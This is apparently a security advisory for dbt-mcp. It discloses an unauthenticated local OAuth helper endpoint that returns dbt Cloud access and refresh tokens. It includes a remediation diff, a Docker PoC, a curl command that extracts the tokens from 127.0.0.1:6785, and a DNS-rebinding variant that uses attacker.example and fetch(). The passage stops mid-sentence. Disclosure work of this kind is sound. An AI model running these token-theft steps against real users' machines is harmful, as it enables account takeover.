GHSA-jr33-mw75-7j8f dbt MCP Server: Unauthenticated OAuth Context Endpoint Leaks dbt Platform Tokens

• PyPI dbt-mcp: < 1.20.0 → fixed in 1.20.0

Unauthenticated OAuth Context Endpoint Leaks dbt Platform Tokens Summary The local OAuth helper FastAPI server bundled with `dbt-mcp` exposes the `GET /dbt_platform_context` endpoint without any form of authentication or host-origin validation. After a user completes the OAuth login flow against dbt Cloud (cloud.getdbt.com), the endpoint returns the full `DbtPlatformContext` object — including the victim's `access_token` and `refresh_token` for the dbt Platform API — verbatim to any caller that can reach `127.0.0.1:6785`. An attacker who can direct the victim's browser to the helper origin via DNS rebinding, or who has co-located process access on the same host, can silently exfiltrate both tokens. The stolen bearer token grants full dbt Cloud API access as the victim; the refresh token enables persistent access beyond the original token's expiry. CVSS Base Score: 8.0 (High). Details During the OAuth login flow, `dbt-mcp` launches an embedded FastAPI server (the "OAuth helper") bound to `127.0.0.1` starting on port `6785` (configured at `src/dbt_mcp/config/credentials.py:34`, `OAUTH_REDIRECT_STARTING_PORT = 6785`). After the OAuth callback is handled, the helper persists the full token context to disk and continues serving requests. Data flow from source to sink: 1. Source — `src/dbt_mcp/oauth/fastapi_app.py:106`: The OAuth callback receives `token_response` from the dbt Platform authorization server. 2. `src/dbt_mcp/oauth/dbt_platform.py:60`: `AccessTokenResponse(token_response)` stores `access_token` and `refresh_token` as plaintext fields. 3. `src/dbt_mcp/oauth/dbt_platform.py:64–69`: The `AccessTokenResponse` is embedded inside `DecodedAccessToken`, which is in turn embedded inside `DbtPlatformContext`. 4. `src/dbt_mcp/oauth/fastapi_app.py:114`: The fully token-bearing `DbtPlatformContext` object is passed to `context_manager` for persistence. 5. Persistence sink — `src/dbt_mcp/oauth/context_manager.py:63–64`: `yaml.dump(context.model_dump())` serializes the entire model — including tokens — to a YAML file on disk. 6. HTTP sink — `src/dbt_mcp/oauth/fastapi_app.py:162–165`: The `GET /dbt_platform_context` route reads the YAML file back and returns the raw `DbtPlatformContext` object with no redaction. ```python src/dbt_mcp/oauth/fastapi_app.py:162-165 @app.get("/dbt_platform_context") def get_dbt_platform_context() -> DbtPlatformContext: logger.info("Selected project received") return dbt_platform_context_manager.read_context() or DbtPlatformContext() ``` ```python src/dbt_mcp/oauth/dbt_platform.py:8-14 class AccessTokenResponse(BaseModel): access_token: str refresh_token: str ... class DbtPlatformContext(BaseModel): decoded_access_token: DecodedAccessToken | None = None ... ``` Missing protections (confirmed by grep): • No `TrustedHostMiddleware` — the server accepts requests with arbitrary `Host` headers, enabling DNS rebinding. • No `CORSMiddleware` — no cross-origin restrictions on which sites can read the response. • No CSRF protection, no session nonce, no `Origin` header validation. • The route has no FastAPI `Depends()` security dependency. A `grep -Rni "TrustedHostMiddleware\|CORSMiddleware\|csrf\|origin"` across the OAuth FastAPI application returns no results. Recommended remediation: ```diff --- a/src/dbt_mcp/oauth/fastapi_app.py +++ b/src/dbt_mcp/oauth/fastapi_app.py +from starlette.middleware.trustedhost import TrustedHostMiddleware + +def _redact_context(context: DbtPlatformContext | None) -> DbtPlatformContext: + if context is None: + return DbtPlatformContext() + return context.model_copy(update={"decoded_access_token": None}) app = FastAPI() + app.add_middleware( + TrustedHostMiddleware, + allowed_hosts=["localhost", "127.0.0.1"], + ) @app.get("/dbt_platform_context") def get_dbt_platform_context() -> DbtPlatformContext: logger.info("Selected project received") • return dbt_platform_context_manager.read_context() or DbtPlatformContext() + return _redact_context(dbt_platform_context_manager.read_context()) ``` PoC Prerequisites: • `dbt-mcp` v1.19.1 installed in a Python 3.12 environment. • The following runtime dependencies available: `authlib~=1.6.7`, `fastapi~=0.128.0`, `uvicorn~=0.38.0`, `pyyaml~=6.0.2`, `httpx~=0.28.1`, `starlette~=0.50.0`, `pydantic~=2.0`, `pydantic-settings~=2.10.1`. • No `DBT_TOKEN` set (OAuth flow mode active). Step 1 — Build the Docker test environment: ```bash docker build -t vuln001-dbt-mcp -f vuln-001/Dockerfile . ``` The `Dockerfile` installs only the OAuth helper's runtime dependencies and copies `src/` and `poc.py`: ```dockerfile FROM python:3.12-slim WORKDIR /app RUN pip install --no-cache-dir \ "authlib~=1.6.7" "fastapi~=0.128.0" "uvicorn~=0.38.0" \ "pyjwt~=2.12.0" "pyyaml~=6.0.2" "httpx~=0.28.1" \ "filelock~=3.20.3" "starlette~=0.50.0" "requests>=2.28" \ "pydantic~=2.0" "pydantic-settings~=2.10.1" COPY repo/src /app/src ENV PYTHONPATH=/app/src COPY vuln-001/poc.py /app/poc.py CMD ["python3", "/app/poc.py"] ``` Step 2 — Run the PoC: ```bash docker run --rm --network=host vuln001-dbt-mcp ``` The PoC script (`poc.py`) performs the following automatically: 1. Writes a realistic fake OAuth context YAML to `/tmp/dbt_poc_mcp.yml`, simulating a victim who has already completed the OAuth login flow. 2. Instantiates the real `create_app()` from `src/dbt_mcp/oauth/fastapi_app.py` using `DbtPlatformContextManager` backed by the pre-seeded file. 3. Starts the server on `127.0.0.1:16785` in a background thread. 4. Issues an unauthenticated `GET /dbt_platform_context` with no `Authorization` header. 5. Asserts that `access_token` and `refresh_token` are returned verbatim. Equivalent manual curl (against the live OAuth helper during actual OAuth flow): ```bash While the victim is running the OAuth login flow: export DBT_HOST='cloud.getdbt.com' unset DBT_TOKEN dbt-mcp # OAuth helper starts on 127.0.0.1:6785 From any co-located process (or a DNS-rebinding browser page): curl -s 'http://127.0.0.1:6785/dbt_platform_context' \ | jq '.decoded_access_token.access_token_response' ``` Expected output (Phase 2 observed):** ``` [*] HTTP Status: 200 [*] Full response JSON: { "decoded_access_token": { "access_token_response": { "access_token": "eyJhbGciOiJSUzI1NiJ9.VICTIM_ACCESS_TOKEN_PLACEHOLDER", "refresh_token": "dbt-platform-offline-refresh-SUPERSECRET-abc123", "expires_in": 3600, "scope": "user_access offline_access", "token_type": "Bearer", "expires_at": 9999999999 }, ... }, ... } [!] LEAKED access_token : eyJhbGciOiJSUzI1NiJ9.VICTIM_ACCESS_TOKEN_PLACEHOLDER [!] LEAKED refresh_token : dbt-platform-offline-refresh-SUPERSECRET-abc123 [+] VULNERABILITY CONFIRMED: Tokens returned from /dbt_platform_context WITHOUT authentication! ``` DNS rebinding variant: A malicious website can resolve `attacker.example` to `127.0.0.1` after the browser's DNS TTL expires ("DNS rebinding"). Because the helper accepts any `Host` header, the browser treats `http://attacker.example:6785` as same-origin and fetches `/dbt_platform_context` via JavaScript `fetch()`, obtaining the full token JSON across the network without any local access. Impact Any local process running as any user on the same host, or a remote attacker who exploits DNS rebinding against a victim's browser during or after the OAuth login session, can retrieve the victim's full dbt Cloud OAuth tokens with a single unauthenticated HTTP GET request. The `access_token` grants immediate bearer-token access to the dbt Cloud REST and GraphQL APIs on behalf of the victim. The `refresh_token` (with `offline_access` scope) allows the attacker to obtain new access tokens after the original expires, providing persistent unauthorized access until the victim manually revokes the OAuth grant. An attacker with these tokens can r…